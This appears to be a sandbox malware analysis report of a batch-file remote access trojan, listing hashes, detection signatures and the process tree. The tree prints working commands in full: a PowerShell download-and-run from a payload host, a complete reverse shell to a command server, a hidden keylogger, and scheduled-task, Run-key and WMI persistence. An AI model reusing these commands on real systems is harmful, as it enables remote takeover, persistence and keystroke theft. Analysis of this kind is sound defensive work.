Analysis
- max time kernel
149s - max time network
150s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
29/05/2026, 22:24
Static task
static1
Behavioral task
behavioral1
Sample
rat_build_92023_014304.bat
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
rat_build_92023_014304.bat
Resource
win11-20260513-en
General
- Target rat_build_92023_014304.bat
- Size 4KB
- Sample260529-2bbnaaaz3x
- SHA256 553922563827ca2d5a2b7bef67815c2768e955c67f3f0462bddfef60fb5f5316
- MD5 b11e68019d47bdf34c4ceef1510c92e9
- SHA1 6176cf23a5008c2ed251ae0bc593161749d6101f
- SHA512 5164ea9421558037a9e83ee042b5a41b957a55145366200fdd5500e7d854f0c0313f8c95ba10007a3b40151994c1a67bd0341203077124abde3b1d6bff7af046
- SSDEEP 96:/IUiWfPBtUCn9dAT+dOLbyNzvK/qUDSalNvQjcgT8IniFgZk8mvlo1cN:/pfPr9K0O/22VDlucOiFgkHlNN
- TLSH T11BA1FA2757E67120C9F0232ADA327C5867ACE5F32315C58DBE458CE5194CE47812E6F3
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://payload.server/update_92023.ps1
Signatures
-
pid Process 5620 powershell.exe 1064 powershell.exe 4488 powershell.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Windows\CurrentVersion\Run\Updater_92023 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_92023.bat" reg.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 checkip.amazonaws.com - Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
pid Process 4808 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 6140 systeminfo.exe - Modifies registry key 1 TTPs 1 IoCs
pid Process 3412 reg.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 424 schtasks.exe - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 1064 powershell.exe 1064 powershell.exe 5620 powershell.exe 5620 powershell.exe 4488 powershell.exe 4488 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 5080 WMIC.exe Token: SeSecurityPrivilege 5080 WMIC.exe Token: SeTakeOwnershipPrivilege 5080 WMIC.exe Token: SeLoadDriverPrivilege 5080 WMIC.exe Token: SeSystemProfilePrivilege 5080 WMIC.exe Token: SeSystemtimePrivilege 5080 WMIC.exe Token: SeProfSingleProcessPrivilege 5080 WMIC.exe Token: SeIncBasePriorityPrivilege 5080 WMIC.exe Token: SeCreatePagefilePrivilege 5080 WMIC.exe Token: SeBackupPrivilege 5080 WMIC.exe Token: SeRestorePrivilege 5080 WMIC.exe Token: SeShutdownPrivilege 5080 WMIC.exe Token: SeDebugPrivilege 5080 WMIC.exe Token: SeSystemEnvironmentPrivilege 5080 WMIC.exe Token: SeRemoteShutdownPrivilege 5080 WMIC.exe Token: SeUndockPrivilege 5080 WMIC.exe Token: SeManageVolumePrivilege 5080 WMIC.exe Token: 33 5080 WMIC.exe Token: 34 5080 WMIC.exe Token: 35 5080 WMIC.exe Token: 36 5080 WMIC.exe Token: SeIncreaseQuotaPrivilege 5080 WMIC.exe Token: SeSecurityPrivilege 5080 WMIC.exe Token: SeTakeOwnershipPrivilege 5080 WMIC.exe Token: SeLoadDriverPrivilege 5080 WMIC.exe Token: SeSystemProfilePrivilege 5080 WMIC.exe Token: SeSystemtimePrivilege 5080 WMIC.exe Token: SeProfSingleProcessPrivilege 5080 WMIC.exe Token: SeIncBasePriorityPrivilege 5080 WMIC.exe Token: SeCreatePagefilePrivilege 5080 WMIC.exe Token: SeBackupPrivilege 5080 WMIC.exe Token: SeRestorePrivilege 5080 WMIC.exe Token: SeShutdownPrivilege 5080 WMIC.exe Token: SeDebugPrivilege 5080 WMIC.exe Token: SeSystemEnvironmentPrivilege 5080 WMIC.exe Token: SeRemoteShutdownPrivilege 5080 WMIC.exe Token: SeUndockPrivilege 5080 WMIC.exe Token: SeManageVolumePrivilege 5080 WMIC.exe Token: 33 5080 WMIC.exe Token: 34 5080 WMIC.exe Token: 35 5080 WMIC.exe Token: 36 5080 WMIC.exe Token: SeIncreaseQuotaPrivilege 5500 WMIC.exe Token: SeSecurityPrivilege 5500 WMIC.exe Token: SeTakeOwnershipPrivilege 5500 WMIC.exe Token: SeLoadDriverPrivilege 5500 WMIC.exe Token: SeSystemProfilePrivilege 5500 WMIC.exe Token: SeSystemtimePrivilege 5500 WMIC.exe Token: SeProfSingleProcessPrivilege 5500 WMIC.exe Token: SeIncBasePriorityPrivilege 5500 WMIC.exe Token: SeCreatePagefilePrivilege 5500 WMIC.exe Token: SeBackupPrivilege 5500 WMIC.exe Token: SeRestorePrivilege 5500 WMIC.exe Token: SeShutdownPrivilege 5500 WMIC.exe Token: SeDebugPrivilege 5500 WMIC.exe Token: SeSystemEnvironmentPrivilege 5500 WMIC.exe Token: SeRemoteShutdownPrivilege 5500 WMIC.exe Token: SeUndockPrivilege 5500 WMIC.exe Token: SeManageVolumePrivilege 5500 WMIC.exe Token: 33 5500 WMIC.exe Token: 34 5500 WMIC.exe Token: 35 5500 WMIC.exe Token: 36 5500 WMIC.exe Token: SeIncreaseQuotaPrivilege 5500 WMIC.exe - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 2788 wrote to memory of 424 2788 cmd.exe 81 PID 2788 wrote to memory of 3412 2788 cmd.exe 82 PID 2788 wrote to memory of 5080 2788 cmd.exe 83 PID 2788 wrote to memory of 5500 2788 cmd.exe 84 PID 2788 wrote to memory of 4400 2788 cmd.exe 85 PID 2788 wrote to memory of 6140 2788 cmd.exe 87 PID 2788 wrote to memory of 4808 2788 cmd.exe 90 PID 2788 wrote to memory of 1064 2788 cmd.exe 91 PID 2788 wrote to memory of 5620 2788 cmd.exe 92 PID 2788 wrote to memory of 4488 2788 cmd.exe 93 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_92023_014304.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2788 -
C:\Windows\system32\schtasks.exeschtasks /create /tn "WinUpdate_92023" /tr "C:\Users\Admin\AppData\Local\Temp\_92023.bat" /sc onlogon /ru "SYSTEM" /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:424
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-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_92023" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_92023.bat" /f2⤵
- Adds Run key to start application
- Modifies registry key
PID:3412
-
-
C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_92023", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:5080
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C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_92023", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_92023.bat"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:5500
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C:\Windows\system32\curl.execurl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_92023.txt2⤵PID:4400
-
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C:\Windows\system32\systeminfo.exesysteminfo2⤵
- Gathers system information
PID:6140
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-
C:\Windows\system32\NETSTAT.EXEnetstat -an2⤵
- Gathers network information
PID:4808
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_92023.ps1'))"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1064
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:5620
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4488
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
- MD5 5f4c933102a824f41e258078e34165a7
- SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
- SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
- TLSH T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 fd949ff64bc93b6bcff447de4f7307dbd4cfb391faf81efe2a845f8349d9b10c
- MD5 8a9ce637f47cb4acdbef782b0c075292
- SHA1 61c4f0209f159fae19220a78c4428848c90d0e01
- SHA512 6452ea5fff0d3139dd61de41cb37738a228bd13f7b039aa519acb8ab5f2084c10473415f0d3631a68829e81da3dc6018e37cff3618c48ae358c9a94fa91eb122
- TLSH T1B7117A33B79CC134C8D9117A108DAD01B2B5C3CB049EDE8B7A84C508E57F58ADB641E4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 a2f2f0033d120152c7f43db61e5867c538be686267424e37ebf1f81c2108c41f
- MD5 efbdcb1e96c21b1fa3a8ee282decfaa7
- SHA1 4b29742350c7851853767013e11d09fb954063ac
- SHA512 8e88e8ff7da00f85b2f2840a94eca8f75f425c8058a6cc86a1681784e5b0370369560a04320dc747602e3fefed9b5af750afef52bcc137944999c1c4f5e8a808
- TLSH T104117A33B79CC175C8E9117A108DAD01B1B5C3DB049EDE8B7A84C508E57F58ADBA41E4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qip4dqyn.dkl.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH